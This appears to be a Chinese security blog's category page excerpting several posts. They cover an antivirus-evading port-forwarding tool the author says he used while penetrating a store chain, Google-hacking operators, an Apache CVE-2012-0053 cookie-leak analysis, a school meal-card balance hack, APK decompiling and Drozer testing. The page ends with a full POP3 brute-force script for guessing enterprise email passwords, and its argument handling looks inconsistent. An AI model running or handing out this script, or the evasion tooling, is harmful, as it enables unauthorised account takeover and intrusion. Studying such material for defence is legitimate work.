分类: 安全相关

PortTransferWindows端口转发

最近学习忙,一直没时间写东西,前段时间渗透某久便利店时发现了个比较好用的端口转发工具,记录分享下。


原文地址:http://bbs.isilic.org/thread-3984-1-1.html

一.前言
lcx是个非常经典的转发工具,但是lcx现在被杀的厉害。而据说,源码免杀才是王道。所以,我产生了自己编写个功能类似lcx的端口转发工具的想法。写完后经过10多天的测试。现在发布正式版v1.0。

二.程序特色(相对lcx.exe而言)
1..不会秒断。(重点)
相信玩过内网,或者服务器3389需要转发的很多人都遇到过一个问题,就是lcx有些时候会秒断,导致以后无法正常远程登录。本程序可以抗秒断,这个是经过实际测试的。有一位机油使用lcx转发,远程登录时秒断,无法正常连接。我上去,使用本程序直接秒杀,连接一直很正常。
2.免杀
写本程序的初衷,是因为lcx被杀的太厉害了,而lcx又很喜欢,我比较喜欢,所以就萌生了自己写一个类似功能的工具的想法。源码免杀才是王道,这是写本程序的出发点。

免杀证明:http://r.virscan.org/report/ab95ca1a134a0a1a9d4c82c387e9fc7a.html

三.程序简介
1.程序说明:我没有读过Lcx的源码,本软件是由我自己构思和编写的,只是功能与lcx.exe类似而已。
2.程序用法:

PortTransfer.exe -listen leftPort rightPort

                          -remote leftIp leftPort rightIp rightPort

                          -trans  leftPort rightIp rightPort

 

3.程序抽象:我把远程连接到目的主机想象成从左到右的连接。mstsc在左,远程主机在右.这样,left与right意思就很明显了,难道不是吗?
4.使用实例:
假设虚拟机中有Windows XP系统,物理主机需要远程连接它。我们可以这样:(假设物理主机IP地址为1.1.1.1)
1).物理机上,执行

PortTransfer.exe -listen 5001 5002

 

2).虚拟机中,执行

PortTransfer.exe -remote 1.1.1.1 5002 127.0.0.1 3389

 

3).物理机中,执行

PortTransfer.exe -trans   6001 127.0.0.1 5001

 

这一步可以不要,也可以使用多次。添加-trans功能,是为了支持多跳转发,2跳,3跳,4跳,等等,应该都是可以的。也就是说,这一步可以执行0次,或者n次.
4).然后,启动mstsc,连接本机 6001 端口,既可连上。
5.支持平台:Windows XP/2003/2003 r2/2008/2008 r2/Vista/7/8。32和64位机器均可以使用。如果以后有需要,可能会发布linux版。至于其他平台,为测试过,如果不支持,也将不予考虑支持。


下载地址
PortTransfer.exe: http://pan.baidu.com/share/link?shareid=386256&uk=1177246384

libmproxy

Request:

get_query():得到请求的url的参数,被存放成了字典。
set_query(odict):设置请求的url参数,参数是字典。
get_url():请求的url。
set_url(url):设置url的域。
get_cookies():得到请求的cookie。
headers:请求的header的字典。
content:请求的内容,如果请求时post,那么content就是指代post的参数。
Response的一些方法如下:
Headers:返回的header的字典。
Code:返回数据包的状态,比如200,301之类的状态。
Httpversion:http版本。

 


 

Mitmproxy项目主页:http://mitmproxy.org/

Github:https://github.com/mitmproxy/mitmproxy

如何优雅的进行Google Hacking

0x00 前言

说到搜索引擎,相信任何人都不会陌生,它包含着我们生活中方方面面的知识,存储着数亿计的信息,每当有人来问我东西的时候我只想说:

6785ead5652f9c23-1

 

越来越多的hack搜索引擎的出现比如Fofa,ZoomEye,Shodan成为了我们渗透时的利器,它们进行合理的分类整理来达到有效利用目的,但在我看来往往信息的复杂程度越高,信息的价值度也回越高,杂乱出奇迹,这也是个真理。

 

0x01 介绍

Google是一个伟大的信息收集工具,在如今的互联网时代,想想看一个人可以轻易的从搜索引擎中获取你详细的个人信息是件多么叫人激动又害怕的事情。Google也可以当作我们的第二个“社工库”。

搜索引擎的组成:

  1. 爬行器(机器人、蜘蛛)
  2. 索引生成器
  3. 查询检索器

 

Google基本关键词

Intext	        搜索出现的关键词
Inurl	        搜索包含关键词的url
Intitle	        搜索包含关键词的标题
Site	        搜索包含关键词的站点
filetype	搜索包含关键词的文件类型
Link	        对于页面包含的外部链接搜索
Daterange	搜索特定的日期范围

Google基本规则

Google 不分大小写
Google 可以使用通配符:*表示一个词/字
Google 会智能地保留一些内容,比如一些过时的词,一些不适合呈现的内容(比如违法信息)
最常用的:"关键字" ,双引号会使Google强制搜索包含关键字的内容
布尔操作符:AND(+)  NOT(-)  OR(|),AND 现在已不需要,多个关键字google会都匹配到

继续阅读 如何优雅的进行Google Hacking

谈谈CVE-2012-0053

0x00 前言

看编号就知道是个比较老的洞了,最近测东西的时候又碰到,找了点资料大致看了下形成原因,然后再分享下POC。

0x01 漏洞描述

Apache HTTP Server 2.2.x多个版本没有正确严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时服务器返回400(Bad Request)错误,并在返回信息中将出错请求头内容爆出,攻击者可以利用该漏洞获取httponly cookies。

受影响软件版本:
Apache Http Server:
Affected: 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0

细节:

1、当HTTP请求头长度大于apache配置LimitRequestFieldSize长度时,服务器返回400错误页面中会携带LimitRequestFieldSize长度的错误请求头内容,如Cookies,User-agent等。

2、HTTP请求头长度不包含HTTP请求头名称与“:”。

3、Cookies请求头不包含多个cookies之间的空格,为实际多个cookies的长度总和。

4、Apache默认配置LimitRequestFieldSize长度为8196,浏览器正常访问默认截取请求头长度最大为4k

5、任意请求头(不限制于Cookie)超过LimitRequestFieldSize长度,服务器都会返回400错误并显示原始错误请求头信息。

 


0x02 漏洞分析

在ap_get_mime_headers_core中,该函数对于两种错误http请求的检查返回的信息出现了问题。

1.缺陷代码如下,在检测http_header超长后会返回Bad Request并将错误的部分返回给浏览器

field[len - 1] = '\0';
apr_table_setn(r->notes, "error-notes",
apr_pstrcat(r->pool,
     "Size of a request header field "
        "exceeds server limit.<br />\n"
        "<pre>\n",
        ap_escape_html(r->pool, field),
        "</pre>\n", NULL));

2.如果检查HTTP请求头中的某个域不包含冒号,则也返回错误的部分

if (!(value = strchr(last_field, ':'))) { /* Find ':' or    */
r->status = HTTP_BAD_REQUEST;      /* abort bad request */
    apr_table_setn(r->notes, "error-notes",
     apr_pstrcat(r->pool,
      "Request header field is "
      "missing ':' separator.<br />\n"
         "<pre>\n",
         ap_escape_html(r->pool,
          last_field),
       "</pre>\n", NULL));
    return;
}

继续阅读 谈谈CVE-2012-0053

RFID HACK 之学校饭卡任意金额修改

0x00前言

自从成功破解完学校饭卡后就一直想抽个时间记录一下,可能过段时间会很少碰电脑,所以今天在这里写下来,希望可以与各位分享自己的思路。

0x01基础知识

1.M1卡介绍

Mifare Classic card提供1k-4k的容量,我们经常见到的是Mifare Classic 1k(S50),也就是所谓的M1卡。M1卡有从0到15共16个扇区,并且每个扇区都有独立的密码,每个扇区配备了从0到3共4个段,每个段可以保存16字节的内容,反正从0开始数 就对了(和数组下标为0开始一样)。

每个扇区的第4段呢是用来保存KeyA,KeyB和控制位的,每张卡还有一个唯一标识的UID号。

继续阅读 RFID HACK 之学校饭卡任意金额修改

APK反编译笔记(一)[基础工具]

APK反编译笔记(一)[基础工具]


0x00 前言

最近看了看安卓逆向,反编译的文章,简单的记录一下笔记。

当然作为一个开发者,学习反编译也是必不可少的技能,从他人代码中学习知识也是一种提升。

对于白帽子,测试人员,逆向,反编译则可以从茫茫无序的代码中获得自己想要的信息。

 

0x01 相关工具

(测试环境:win8)

  1. dex2jar —–将apk反编译成java源码(classes.dex转化成jar文件)
  2. jd-gui —–查看APK中classes.dex转化成出的jar文件,即源码文件

当然还有很多其他工具,比如apktool,Androidfby,这里暂做dex2jar和jd-gui的介绍

继续阅读 APK反编译笔记(一)[基础工具]

利用Drozer进行app本地拒绝服务漏洞测试

0x01 基本介绍

[1]本地拒绝服务漏洞基本介绍

1) 漏洞位置:

处理getIntent()的intent附带的数据

2) 漏洞触发前提条件:

getIntent()的intent附带空数据、异常或畸形数据;

处理getXXXExtra()获取的数据时没有进行异常捕获;

3) 漏洞原理:

Android系统中提供了Intent机制来协助应用间的交互与通讯,其负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。调用的组件在处理Intent附加数据的时候,没有进行异常捕获,因此当处理空数据、异常或者畸形数据时,导致应用崩溃。

继续阅读 利用Drozer进行app本地拒绝服务漏洞测试

企业邮箱爆破脚本

原来保存过的一个企业爆破脚本,单线程,测试时还是有所帮助的。

#!usr/bin/python
#!coding:utf-8

import threading,time,random,sys,poplib
from copy import copy

if len(sys.argv) !=4:
    print "\t    Note: 邮箱类型为:'163','tencent','coremail','236','exchange' \n"
    print "\t    Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n"
    print "\t    Note: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com\n"
    print "\t    Usage: 163|tencent使用方法:./mail.py type <userlist> <wordlist>\n"
    print "\t    Usage: 236|exchange|coremail使用方法:./mail.py type <userlist> <wordlist> mail.domain.com\n"  

    sys.exit(1)

mailType=['163','tencent','coremail','236','exchange']

if sys.argv[1] in ['236','exchange','coremail']:
    try:
        server = sys.argv[5]
    except:
        print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n'
        sys.exit(1)
elif sys.argv[1] == '163':
    server = "pop.qiye.163.com"
elif sys.argv[1] == 'tencent':
    server = "pop.exmail.qq.com"
else :
    print "[-] Error: 邮箱类型错误\n"
    sys.exit(1)
    
success = []

try:
    users_list = open(sys.argv[2], "r")
    users = users_list.readlines()
    words_list = open(sys.argv[3], "r")
    words = words_list.readlines()
except(IOError):
    print "[-] Error: 请检查用户名或密码路径及文件\n"
    sys.exit(1)
finally:
    users_list.close()
    words_list.close()
    
try:
    if sys.argv[1] in ['163','236']:
        pop = poplib.POP3(server,110)        
    else:
        pop = poplib.POP3_SSL(server,995)
    welcome = pop.getwelcome()
    print welcome
    pop.quit()
except (poplib.error_proto):
    welcome = "[-] Error: No Response,Something wrong!!!\n"
    sys.exit(1)

print "[+] Server:",server
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

def mailbruteforce(listuser,listpwd,type):
    if len(listuser) < 1 or len(listpwd) < 1 :
        print "[-] Error: An error occurred: No user or pass list\n"
        return 1
    
    for user in listuser:
        for passwd in listpwd :
            user = user.replace("\n","")
            passwd = passwd.replace("\n","")
            
            try:
                print "-"*12
                print "[+] User:",user,"Password:",passwd
                
#                 time.sleep(0.1)      
                if type in ['163','236']:
                    popserver = poplib.POP3(server,110)        
                else:
                    popserver = poplib.POP3_SSL(server,995)
                popserver.user(user)
                auth = popserver.pass_(passwd)
                print auth
                
                if auth.split(' ')[0] == "+OK" or auth =="+OK":
                    ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])
                    success.append(ret)
                    #print len(success)
                    popserver.quit()
                    break
                else :
                    popserver.quit()
                    continue
            
            except:
                #print "An error occurred:", msg
                pass

if __name__ == '__main__':
    mailbruteforce(users,words,sys.argv[1])
    

    print "\t[+] have weakpass :\t",len(success)
    if len(success) >=1:
        for ret in success:
            print "\n\n[+] Login successful:",ret[0], ret[1]
            print "\t[+] Mail:",ret[2],"emails"
            print "\t[+] Size:",ret[3],"bytes\n"
    print "\n[-] Done"